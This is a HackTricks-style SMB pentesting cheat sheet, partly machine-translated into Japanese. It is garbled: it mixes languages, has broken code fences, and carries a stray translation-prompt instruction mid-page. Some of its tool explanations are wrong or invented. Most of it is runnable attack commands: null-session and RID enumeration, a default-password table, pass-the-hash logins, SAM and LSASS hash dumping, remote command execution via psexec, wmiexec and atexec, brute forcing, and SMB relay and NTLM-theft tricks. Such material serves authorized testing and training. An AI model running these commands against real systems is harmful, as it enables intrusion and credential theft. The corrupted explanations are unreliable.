37 KiB
139,445 - SMBのペンテスト
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- サイバーセキュリティ会社で働いていますか? HackTricksで会社を宣伝したいですか?または、最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロードしたいですか?SUBSCRIPTION PLANSをチェックしてください!
- The PEASS Familyを見つけてください、私たちの独占的なNFTのコレクション
- 公式のPEASS&HackTricksのグッズを手に入れましょう
- 💬 Discordグループまたはtelegramグループに参加するか、Twitterで私をフォローしてください🐦@carlospolopm.
- **ハッキングのトリックを共有するには、hacktricksリポジトリとhacktricks-cloudリポジトリ**にPRを提出してください。
ポート139
NetBIOSは、_Network Basic Input Output System_の略です。これは、ローカルエリアネットワーク(LAN)上のアプリケーション、PC、およびデスクトップがネットワークハードウェアと通信し、データをネットワーク上で送信するためのソフトウェアプロトコルです。NetBIOSネットワーク上で実行されるソフトウェアアプリケーションは、NetBIOS名によって相互に検出および識別されます。NetBIOS名は最大16文字であり、通常はコンピュータ名とは別になっています。2つのアプリケーションは、1つ(クライアント)が「呼び出し」コマンドを別のクライアント(サーバー)に送信すると、TCPポート139を介してNetBIOSセッションを開始します。(ここから抜粋)
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
ポート445
ポート139は技術的には「NBT over IP」として知られていますが、ポート445は「SMB over IP」として知られています。SMBは「Server Message Blocks」の略です。現代の言語では、Server Message Blockは一般的なインターネットファイルシステムとしても知られています。このシステムは、ネットワーク上のノード間でファイル、プリンタ、シリアルポートなどの共有アクセスを提供するために主に使用されるアプリケーションレイヤーネットワークプロトコルとして機能します。
たとえば、Windowsでは、SMBはNetBIOS over TCP/IPを必要とせずに直接TCP/IP上で実行することができます。これは、指摘されているようにポート445を使用します。他のシステムでは、ポート139を使用してサービスやアプリケーションが実行されていることがあります。これは、SMBがNetBIOS over TCP/IPで実行されていることを意味します(ここから抜粋)
445/tcp open microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)
SMB
Server Message Block(SMB
)は、ファイルへのアクセスやディレクトリ全体、プリンタ、ルーター、またはネットワークに公開されたインターフェースなど、他のネットワークリソースへのアクセスを制御するクライアントサーバープロトコルです。このプロトコルの主な適用範囲は、特にWindowsオペレーティングシステムシリーズであり、そのネットワークサービスはSMBを下位互換の方法でサポートしています。つまり、新しいエディションを搭載したデバイスは、古いMicrosoftオペレーティングシステムがインストールされたデバイスと簡単に通信できます。
また、フリーソフトウェアプロジェクトであるSambaを使用することで、LinuxおよびUnixディストリビューションでSMBを使用し、SMBを介したクロスプラットフォームの通信が可能になります。
SMBサーバーは、ローカルファイルシステムの任意の部分を共有することができます。したがって、クライアントに表示される階層は、サーバー上の構造と部分的に独立しています。アクセス権は、Access Control Lists
(ACL
)によって定義されます。これらは、個々のユーザーまたはユーザーグループに対して**実行
、読み取り
、完全アクセス
などの属性に基づいて細かく制御することができます。ACLは共有に基づいて**定義されるため、サーバー上でローカルに割り当てられた権限とは異なります。
IPC$ 共有
書籍「Network Security Assessment 3rd edition」より
匿名のヌルセッションを使用すると、IPC$共有にアクセスし、名前付きパイプを介して公開されたサービスと対話することができます。特にKali Linux内のenum4linuxユーティリティは非常に便利です。これを使用すると、次の情報を取得できます。
- オペレーティングシステムの情報
- 親ドメインの詳細
- ローカルユーザーとグループのリスト
- 利用可能なSMB共有の詳細
- 有効なシステムセキュリティポリシー
NTLMとは
NTLMが何かわからない場合、またはNTLMの動作方法や悪用方法について知りたい場合は、次のページが非常に興味深いでしょう。NTLMについて説明されており、このプロトコルの動作方法と利用方法が説明されています。
{% content-ref url="../windows-hardening/ntlm/" %} ntlm {% endcontent-ref %}
サーバー列挙
ネットワークをスキャンしてホストを検索します:
nbtscan -r 192.168.0.1/24
SMBサーバーのバージョン
SMBバージョンの潜在的な脆弱性を探すためには、使用されているバージョンを知ることが重要です。この情報が他の使用ツールに表示されない場合は、次の方法を使用できます。
- MSFの補助モジュール _auxiliary/scanner/smb/smb_versionを使用する
- または、次のスクリプトを使用する:
#!/bin/sh
#Author: rewardone
#Description:
# Requires root or enough permissions to use tcpdump
# Will listen for the first 7 packets of a null login
# and grab the SMB Version
#Notes:
# Will sometimes not capture or will print multiple
# lines. May need to run a second time for success.
if [ -z $1 ]; then echo "Usage: ./smbver.sh RHOST {RPORT}" && exit; else rhost=$1; fi
if [ ! -z $2 ]; then rport=$2; else rport=139; fi
tcpdump -s0 -n -i tap0 src $rhost and port $rport -A -c 7 2>/dev/null | grep -i "samba\|s.a.m" | tr -d '.' | grep -oP 'UnixSamba.*[0-9a-z]' | tr -d '\n' & echo -n "$rhost: " &
echo "exit" | smbclient -L $rhost 1>/dev/null 2>/dev/null
echo "" && sleep .1
エクスプロイトの検索
エクスプロイトの検索は、SMBサービスの脆弱性を見つけるために重要なステップです。エクスプロイトは、既知の脆弱性を悪用するための特殊なコードまたは手法です。エクスプロイトを使用することで、攻撃者はSMBサービスに侵入し、機密情報を盗む、システムを乗っ取るなどの悪意のある活動を行うことができます。
エクスプロイトを検索するためには、以下の手順に従います。
-
セキュリティ情報のデータベースやオンラインのリソースを調査します。CVE(Common Vulnerabilities and Exposures)データベースやセキュリティブログ、フォーラムなどが有用な情報源です。
-
SMBサービスのバージョンや使用されているソフトウェアの詳細を特定します。これには、ネットワークスキャンやポートスキャンツールを使用することができます。
-
特定のバージョンやソフトウェアに関連する既知の脆弱性を検索します。エクスプロイトコードや手法は、オープンソースのセキュリティツールやGitHubなどのリポジトリで入手できる場合があります。
-
脆弱性の詳細とエクスプロイトの使用方法を理解し、攻撃のリスクと成功の可能性を評価します。
エクスプロイトの検索は、SMBサービスの脆弱性を特定し、システムのセキュリティを向上させるために重要なステップです。ただし、エクスプロイトの使用は法的な制約や倫理的な考慮事項に従う必要があります。
msf> search type:exploit platform:windows target:2008 smb
searchsploit microsoft smb
可能性のある資格情報
ユーザー名 | 一般的なパスワード |
---|---|
(空白) | (空白) |
guest | (空白) |
Administrator, admin | (空白), password, administrator, admin |
arcserve | arcserve, backup |
tivoli, tmersrvd | tivoli, tmersrvd, admin |
backupexec, backup | backupexec, backup, arcada |
test, lab, demo | password, test, lab, demo |
SMB環境情報
情報の取得
#Dump interesting information
enum4linux -a [-u "<username>" -p "<passwd>"] <IP>
enum4linux-ng -A [-u "<username>" -p "<passwd>"] <IP>
nmap --script "safe or smb-enum-*" -p 445 <IP>
#Connect to the rpc
rpcclient -U "" -N <IP> #No creds
rpcclient //machine.htb -U domain.local/USERNAME%754d87d42adabcca32bdb34a876cbffb --pw-nt-hash
rpcclient -U "username%passwd" <IP> #With creds
#You can use querydispinfo and enumdomusers to query user information
#Dump user information
/usr/share/doc/python3-impacket/examples/samrdump.py -port 139 [[domain/]username[:password]@]<targetName or address>
/usr/share/doc/python3-impacket/examples/samrdump.py -port 445 [[domain/]username[:password]@]<targetName or address>
#Map possible RPC endpoints
/usr/share/doc/python3-impacket/examples/rpcdump.py -port 135 [[domain/]username[:password]@]<targetName or address>
/usr/share/doc/python3-impacket/examples/rpcdump.py -port 139 [[domain/]username[:password]@]<targetName or address>
/usr/share/doc/python3-impacket/examples/rpcdump.py -port 445 [[domain/]username[:password]@]<targetName or address>
ユーザー、グループ、およびログイン中のユーザーの列挙
この情報は既にenum4linuxとenum4linux-ngから収集されているはずです
crackmapexec smb 10.10.10.10 --users [-u <username> -p <password>]
crackmapexec smb 10.10.10.10 --groups [-u <username> -p <password>]
crackmapexec smb 10.10.10.10 --groups --loggedon-users [-u <username> -p <password>]
ldapsearch -x -b "DC=DOMAIN_NAME,DC=LOCAL" -s sub "(&(objectclass=user))" -h 10.10.10.10 | grep -i samaccountname: | cut -f 2 -d " "
rpcclient -U "" -N 10.10.10.10
enumdomusers
enumdomgroups
ローカルユーザーの列挙
lookupsid.py -no-pass hostname.local
以下は、ハッキング技術に関する本の内容です。次の内容は、ファイルnetwork-services-pentesting/pentesting-smb.mdからのものです。関連する英文を日本語に翻訳し、翻訳を保持したまま、同じマークダウンおよびHTMLの構文を返してください。コード、ハッキング技術の名前、ハッキング用語、クラウド/SaaSプラットフォームの名前(Workspace、aws、gcpなど)、'leak'という単語、pentesting、およびマークダウンタグなどは翻訳しないでください。また、翻訳とマークダウン構文以外の追加の内容は追加しないでください。
for i in $(seq 500 1100);do rpcclient -N -U "" 10.10.10.10 -c "queryuser 0x$(printf '%x\n' $i)" | grep "User Name\|user_rid\|group_rid" && echo "";done
Metasploit - ローカルユーザーの列挙
use auxiliary/scanner/smb/smb_lookupsid
set rhosts ホスト名.local
run
### **Enumerating LSARPC and SAMR rpcclient**
{% content-ref url="pentesting-smb/rpcclient-enumeration.md" %}
[rpcclient-enumeration.md](pentesting-smb/rpcclient-enumeration.md)
{% endcontent-ref %}
### GUI connection from linux
#### In the terminal:
`xdg-open smb://cascade.htb/`
#### In file browser window (nautilus, thunar, etc)
`smb://friendzone.htb/general/`
## Shared Folders Enumeration
### List shared folders
It is always recommended to look if you can access to anything, if you don't have credentials try using **null** **credentials/guest user**.
```bash
```markdown
## smbclientコマンド
```bash
smbclient --no-pass -L //<IP> # ヌルユーザー
smbclient -U 'username[%passwd]' -L [--pw-nt-hash] //<IP> # パスワードを省略するとプロンプトが表示されます。--pw-nt-hashを使用すると、提供されたパスワードはNTハッシュです。
smbmapコマンド
smbmap -H <IP> [-P <PORT>] # ヌルユーザー
smbmap -u "username" -p "password" -H <IP> [-P <PORT>] # 資格情報
smbmap -u "username" -p "<NT>:<LM>" -H <IP> [-P <PORT>] # パス・ザ・ハッシュ
smbmap -R -u "username" -p "password" -H <IP> [-P <PORT>] # 再帰的なリスト
crackmapexecコマンド
crackmapexec smb <IP> -u '' -p '' --shares # ヌルユーザー
crackmapexec smb <IP> -u 'username' -p 'password' --shares # ゲストユーザー
crackmapexec smb <IP> -u 'username' -H '<HASH>' --shares # ゲストユーザー
Connect/List a shared folder
# smbclientを使用して接続する
smbclient --no-pass //<IP>/<Folder>
smbclient -U 'username[%passwd]' -L [--pw-nt-hash] //<IP> #パスワードを省略すると、プロンプトが表示されます。--pw-nt-hashを使用すると、提供されたパスワードはNTハッシュです
# --no-pass -c 'recurse;ls' を使用してsmbclientで再帰的にリストを表示する
# smbmapを使用してリストを表示する。フォルダを指定しない場合、すべてをリストします
smbmap [-u "username" -p "password"] -R [Folder] -H <IP> [-P <PORT>] # 再帰的なリスト
smbmap [-u "username" -p "password"] -r [Folder] -H <IP> [-P <PORT>] # 非再帰的なリスト
smbmap -u "username" -p "<NT>:<LM>" [-r/-R] [Folder] -H <IP> [-P <PORT>] # パス・ザ・ハッシュ
Manually enumerate windows shares and connect to them
It may be possible that you are restricted to display any shares of the host machine and when you try to list them it appears as if there aren't any shares to connect to. Thus it might be worth a short to try to manually connect to a share. To enumerate the shares manually you might want to look for responses like NT_STATUS_ACCESS_DENIED and NT_STATUS_BAD_NETWORK_NAME, when using a valid session (e.g. null session or valid credentials). These may indicate whether the share exists and you do not have access to it or the share does not exist at all.
Common share names for windows targets are
- C$
- D$
- ADMIN$
- IPC$
- PRINT$
- FAX$
- SYSVOL
- NETLOGON
(Common share names from Network Security Assessment 3rd edition)
You can try to connect to them by using the following command
```markdown
## smbclientコマンドを使用してWindows共有に接続する
以下のコマンドは、Windows共有に接続するためのsmbclientコマンドです。
### Nullセッションを使用して接続する場合
```bash
smbclient -U '%' -N \\\\<IP>\\<SHARE>
このコマンドは、nullセッションを使用してWindows共有に接続します。
認証セッションを使用して接続する場合
smbclient -U '<USER>' \\\\<IP>\\<SHARE>
このコマンドは、認証セッションを使用してWindows共有に接続します(パスワードの入力が求められます)。
or this script (using a null session)
#/bin/bash
ip='<TARGET-IP-HERE>'
shares=('C$' 'D$' 'ADMIN$' 'IPC$' 'PRINT$' 'FAX$' 'SYSVOL' 'NETLOGON')
for share in ${shares[*]}; do
output=$(smbclient -U '%' -N \\\\$ip\\$share -c '')
if [[ -z $output ]]; then
echo "[+] $share に対してヌルセッションの作成が可能です" # コマンドが実行された場合は出力がないため、セッションが作成されたと仮定します
else
echo $output # エラーメッセージを表示します(例:NT_STATUS_ACCESS_DENIEDまたはNT_STATUS_BAD_NETWORK_NAME)
fi
done
examples
```markdown
## SMB (Server Message Block) ペンテスト
### smbclientコマンド
以下のコマンドを使用して、SMBサーバーへの接続をテストできます。
```bash
smbclient -U '%' -N \\\\192.168.0.24\\im_clearly_not_here # NT_STATUS_BAD_NETWORK_NAMEが返されます
smbclient -U '%' -N \\\\192.168.0.24\\ADMIN$ # NT_STATUS_ACCESS_DENIEDが返されるか、セッションが与えられることがあります
Mount a shared folder
```markdown
以下は、SMB(Server Message Block)のペンテストに関する内容です。
```bash
mount -t cifs //x.x.x.x/share /mnt/share
mount -t cifs -o "username=user,password=password" //x.x.x.x/share /mnt/share
上記のコマンドは、SMB共有をマウントするためのものです。x.x.x.x
はSMBサーバーのIPアドレスを表しており、share
は共有名です。/mnt/share
はマウントポイントのパスです。
1つ目のコマンドは、デフォルトのユーザー名とパスワードを使用してSMB共有をマウントします。
2つ目のコマンドは、username
とpassword
オプションを使用して特定のユーザー名とパスワードを指定してSMB共有をマウントします。
これらのコマンドを使用することで、SMB共有をローカルマシンにマウントし、ファイルやディレクトリにアクセスすることができます。
Download files
Read previous sections to learn how to connect with credentials/Pass-the-Hash.
# ファイルの検索とダウンロード
sudo smbmap -R フォルダー -H <IP> -A <ファイル名> -q # 再帰モードでファイルを検索し、/usr/share/smbmap内にダウンロードします
# すべてをダウンロードする
smbclient //<IP>/<共有名>
> mask ""
> recurse
> prompt
> mget *
# すべてを現在のディレクトリにダウンロードする
Commands:
- mask: specifies the mask which is used to filter the files within the directory (e.g. "" for all files)
- recurse: toggles recursion on (default: off)
- prompt: toggles prompting for filenames off (default: on)
- mget: copies all files matching the mask from host to client machine
(Information from the manpage of smbclient)
Domain Shared Folders Search
- Snaffler****
```plaintext
Snaffler.exe -s -d domain.local -o snaffler.log -v data
このコマンドは、Snafflerというツールを使用して、domain.local
というドメインに対してSMB(Server Message Block)のペンテストを実行します。-s
オプションは、SMBサービスをスキャンすることを指定しています。-d
オプションは、対象となるドメインを指定します。-o
オプションは、結果をsnaffler.log
というファイルに出力することを指定します。-v
オプションは、詳細な情報を表示することを指定します。data
は、スキャン対象のデータです。
* [**CrackMapExec**](https://wiki.porchetta.industries/smb-protocol/spidering-shares) spider.
* `-M spider_plus [--share <share_name>]`
* `--pattern txt`
```bash
```shell
sudo crackmapexec smb 10.10.10.10 -u ユーザー名 -p パスワード -M spider_plus --share '部門の共有'
Specially interesting from shares are the files called **`Registry.xml`** as they **may contain passwords** for users configured with **autologon** via Group Policy. Or **`web.config`** files as they contains credentials.
{% hint style="info" %}
The **SYSVOL share** is **readable** by all authenticated users in the domain. In there you may **find** many different batch, VBScript, and PowerShell **scripts**.\
You should **check** the **scripts** inside of it as you might **find** sensitive info such as **passwords**.
{% endhint %}
## Read Registry
You may be able to **read the registry** using some discovered credentials. Impacket **`reg.py`** allows you to try:
```bash
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKU -s sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKCU -s sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKLM -s
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKU -s sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKCU -s sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKLM -s
Post Exploitation
The default config of a Samba server is usually located in /etc/samba/smb.conf
and might have some dangerous configs:
Setting | Description |
---|---|
browseable = yes |
Allow listing available shares in the current share? |
read only = no |
Forbid the creation and modification of files? |
writable = yes |
Allow users to create and modify files? |
guest ok = yes |
Allow connecting to the service without using a password? |
enable privileges = yes |
Honor privileges assigned to specific SID? |
create mask = 0777 |
What permissions must be assigned to the newly created files? |
directory mask = 0777 |
What permissions must be assigned to the newly created directories? |
logon script = script.sh |
What script needs to be executed on the user's login? |
magic script = script.sh |
Which script should be executed when the script gets closed? |
magic output = script.out |
Where the output of the magic script needs to be stored? |
The command smbstatus
gives information about the server and about who is connected.
Authenticate using Kerberos
You can authenticate to kerberos using the tools smbclient and rpcclient:
## SMB (Server Message Block)のペンテスト
### smbclientコマンド
```shell
smbclient --kerberos //ws01win10.domain.com/C$
このコマンドは、Kerberos認証を使用してws01win10.domain.com
のC$
共有に接続するためのものです。
rpcclientコマンド
rpcclient -k ws01win10.domain.com
このコマンドは、Kerberos認証を使用してws01win10.domain.com
に接続するためのものです。
## **Execute Commands**
### **crackmapexec**
crackmapexec can execute commands **abusing** any of **mmcexec, smbexec, atexec, wmiexec** being **wmiexec** the **default** method. You can indicate which option you prefer to use with the parameter `--exec-method`:
```bash
```markdown
apt-get install crackmapexec
crackmapexec smb 192.168.10.11 -u Administrator -p 'P@ssw0rd' -X '$PSVersionTable' #PowerShellを実行
crackmapexec smb 192.168.10.11 -u Administrator -p 'P@ssw0rd' -x whoami #cmdを実行
crackmapexec smb 192.168.10.11 -u Administrator -H <NTHASH> -x whoami #Pass-the-Hash
# --exec-method {mmcexec,smbexec,atexec,wmiexec}を使用
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --sam #SAMをダンプ
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --lsa #メモリ内のLSASSハッシュをダンプ
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --sessions #セッションを取得
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --loggedon-users #ログイン中のユーザーを取得
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --disks #ディスクを列挙
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --users #ユーザーを列挙
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --groups #グループを列挙
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --local-groups #ローカルグループを列挙
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --pass-pol #パスワードポリシーを取得
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --rid-brute #RIDブルート
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -H <HASH> #Pass-The-Hash
### [**psexec**](../windows-hardening/ntlm/psexec-and-winexec.md)**/**[**smbexec**](../windows-hardening/ntlm/smbexec.md)
Both options will **create a new service** (using _\pipe\svcctl_ via SMB) in the victim machine and use it to **execute something** (**psexec** will **upload** an executable file to ADMIN$ share and **smbexec** will point to **cmd.exe/powershell.exe** and put in the arguments the payload --**file-less technique-**-).\
**More info** about [**psexec** ](../windows-hardening/ntlm/psexec-and-winexec.md)and [**smbexec**](../windows-hardening/ntlm/smbexec.md).\
In **kali** it is located on /usr/share/doc/python3-impacket/examples/
```bash
# パスワードが提供されていない場合、プロンプトが表示されます
./psexec.py [[ドメイン/]ユーザー名[:パスワード]@]<ターゲット名またはアドレス>
./psexec.py -hashes <LM:NT> administrator@10.10.10.103 #パスワードハッシュを使用
psexec \\192.168.122.66 -u Administrator -p 123456Ww
psexec \\192.168.122.66 -u Administrator -p q23q34t34twd3w34t34wtw34t #パスワードハッシュを使用
Using parameter-k
you can authenticate against kerberos instead of NTLM
wmiexec/dcomexec
Stealthily execute a command shell without touching the disk or running a new service using DCOM via port 135.
In kali it is located on /usr/share/doc/python3-impacket/examples/
#パスワードが提供されていない場合、プロンプトが表示されます
./wmiexec.py [[ドメイン/]ユーザー名[:パスワード]@]<ターゲット名またはアドレス> #パスワードの入力を求める
./wmiexec.py -hashes LM:NT administrator@10.10.10.103 #パス・ザ・ハッシュ
#コマンドの末尾に実行するCMDコマンドを追加することができます。追加しない場合、半対話型シェルが表示されます
Using parameter-k
you can authenticate against kerberos instead of NTLM
#パスワードが提供されていない場合、プロンプトが表示されます
./dcomexec.py [[ドメイン/]ユーザー名[:パスワード]@]<ターゲット名またはアドレス>
./dcomexec.py -hashes <LM:NT> administrator@10.10.10.103 #パスワードを渡す
#コマンドの末尾に実行するCMDコマンドを追加することもできます。追加しない場合、半対話型のシェルが表示されます
AtExec
Execute commands via the Task Scheduler (using \pipe\atsvc via SMB).
In kali it is located on /usr/share/doc/python3-impacket/examples/
```shell
./atexec.py [[ドメイン/]ユーザー名[:パスワード]@]<ターゲット名またはアドレス> "コマンド"
./atexec.py -hashes <LM:NT> administrator@10.10.10.175 "whoami"
## Impacket reference
[https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/](https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/)
## **Bruteforce users credentials**
**This is not recommended, you could block an account if you exceed the maximum allowed tries**
```bash
```markdown
## SMB Brute Force
To perform a brute force attack on the SMB service, you can use the `nmap` tool with the `smb-brute` script. The following command will attempt to brute force the SMB service on port 445 of the specified IP address:
```bash
nmap --script smb-brute -p 445 <IP>
Another approach is to use the ridenum.py
script to obtain a list of usernames by brute forcing the RIDs. Once you have the list of usernames, you can then attempt to brute force each username. The following command will perform this process, specifying the IP address, the range of RIDs to brute force (from 500 to 50000), and the path to a file containing a list of passwords:
ridenum.py <IP> 500 50000 /root/passwds.txt
SMB relay attack
This attack uses the Responder toolkit to capture SMB authentication sessions on an internal network, and relays them to a target machine. If the authentication session is successful, it will automatically drop you into a system shell.
More information about this attack here.
SMB-Trap
The Windows library URLMon.dll automatically try to authenticaticate to the host when a page tries to access some contect via SMB, for example: img src="\\10.10.10.10\path\image.jpg"
This happens with the functions:
- URLDownloadToFile
- URLDownloadToCache
- URLOpenStream
- URLOpenBlockingStream
Which are used by some browsers and tools (like Skype)
SMBTrap using MitMf
NTLM Theft
Similar to SMB Trapping, planting malicious files onto a target system (via SMB, for example) can illicit an SMB authentication attempt, allowing the NetNTLMv2 hash to be intercepted with a tool such as Responder. The hash can then be cracked offline or used in an SMB relay attack.
HackTricks Automatic Commands
Protocol_Name: SMB #プロトコルの略称がある場合は記載する。
Port_Number: 137,138,139 #複数ある場合はカンマで区切る。
Protocol_Description: Server Message Block #プロトコルの略称を全て書く
Entry_1:
Name: ノート
Description: SMBのノート
Note: |
ポート139は技術的には「NBT over IP」として知られていますが、ポート445は「SMB over IP」として知られています。SMBは「Server Message Blocks」の略です。現代の言語では、Server Message BlockはCommon Internet File Systemとしても知られています。このシステムは、ネットワーク上のノード間でファイル、プリンタ、シリアルポートなどの共有アクセスを提供するために主に使用されるアプリケーション層のネットワークプロトコルです。
#以下は、オープンなSMBポートを見つけた場合に毎回実行するコマンドです。
認証情報なしで
nbtscan {IP}
smbmap -H {IP}
smbmap -H {IP} -u null -p null
smbmap -H {IP} -u guest
smbclient -N -L //{IP}
smbclient -N //{IP}/ --option="client min protocol"=LANMAN1
rpcclient {IP}
rpcclient -U "" {IP}
crackmapexec smb {IP}
crackmapexec smb {IP} --pass-pol -u "" -p ""
crackmapexec smb {IP} --pass-pol -u "guest" -p ""
GetADUsers.py -dc-ip {IP} "{Domain_Name}/" -all
GetNPUsers.py -dc-ip {IP} -request "{Domain_Name}/" -format hashcat
GetUserSPNs.py -dc-ip {IP} -request "{Domain_Name}/"
getArch.py -target {IP}
認証情報ありで
smbmap -H {IP} -u {Username} -p {Password}
smbclient "\\\\{IP}\\\" -U {Username} -W {Domain_Name} -l {IP}
smbclient "\\\\{IP}\\\" -U {Username} -W {Domain_Name} -l {IP} --pw-nt-hash `hash`
crackmapexec smb {IP} -u {Username} -p {Password} --shares
GetADUsers.py {Domain_Name}/{Username}:{Password} -all
GetNPUsers.py {Domain_Name}/{Username}:{Password} -request -format hashcat
GetUserSPNs.py {Domain_Name}/{Username}:{Password} -request
https://book.hacktricks.xyz/pentesting/pentesting-smb
Entry_2:
Name: Enum4Linux
Description: 一般的なSMBスキャン
Command: enum4linux -a {IP}
Entry_3:
Name: Nmap SMBスキャン1
Description: Nmapを使用したSMB脆弱性スキャン
Command: nmap -p 139,445 -vv -Pn --script=smb-vuln-cve2009-3103.nse,smb-vuln-ms06-025.nse,smb-vuln-ms07-029.nse,smb-vuln-ms08-067.nse,smb-vuln-ms10-054.nse,smb-vuln-ms10-061.nse,smb-vuln-ms17-010.nse {IP}
Entry_4:
Name: Nmap SMBスキャン2
Description: Nmapを使用したSMB脆弱性スキャン(より一般的)
Command: nmap --script 'smb-vuln*' -Pn -p 139,445 {IP}
Entry_5:
Name: Hydraブルートフォース
Description: ユーザーが必要です
Command: hydra -t 1 -V -f -l {Username} -P {Big_Passwordlist} {IP} smb
Entry_6:
Name: SMB/SMB2 139/445コンソールレスMFS列挙
Description: msfconsoleを実行する必要がないSMB/SMB2 139/445列挙
Note: https://github.com/carlospolop/legionから提供されたもの
Command: msfconsole -q -x 'use auxiliary/scanner/smb/smb_version; set RHOSTS {IP}; set RPORT 139; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smb/smb2; set RHOSTS {IP}; set RPORT 139; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smb/smb_version; set RHOSTS {IP}; set RPORT 445; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smb/smb2; set RHOSTS {IP}; set RPORT 445; run; exit'
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- Do you work in a cybersecurity company? Do you want to see your company advertised in HackTricks? or do you want to have access to the latest version of the PEASS or download HackTricks in PDF? Check the SUBSCRIPTION PLANS!
- Discover The PEASS Family, our collection of exclusive NFTs
- Get the official PEASS & HackTricks swag
- Join the 💬 Discord group or the telegram group or follow me on Twitter 🐦@carlospolopm.
- Share your hacking tricks by submitting PRs to the hacktricks repo and hacktricks-cloud repo.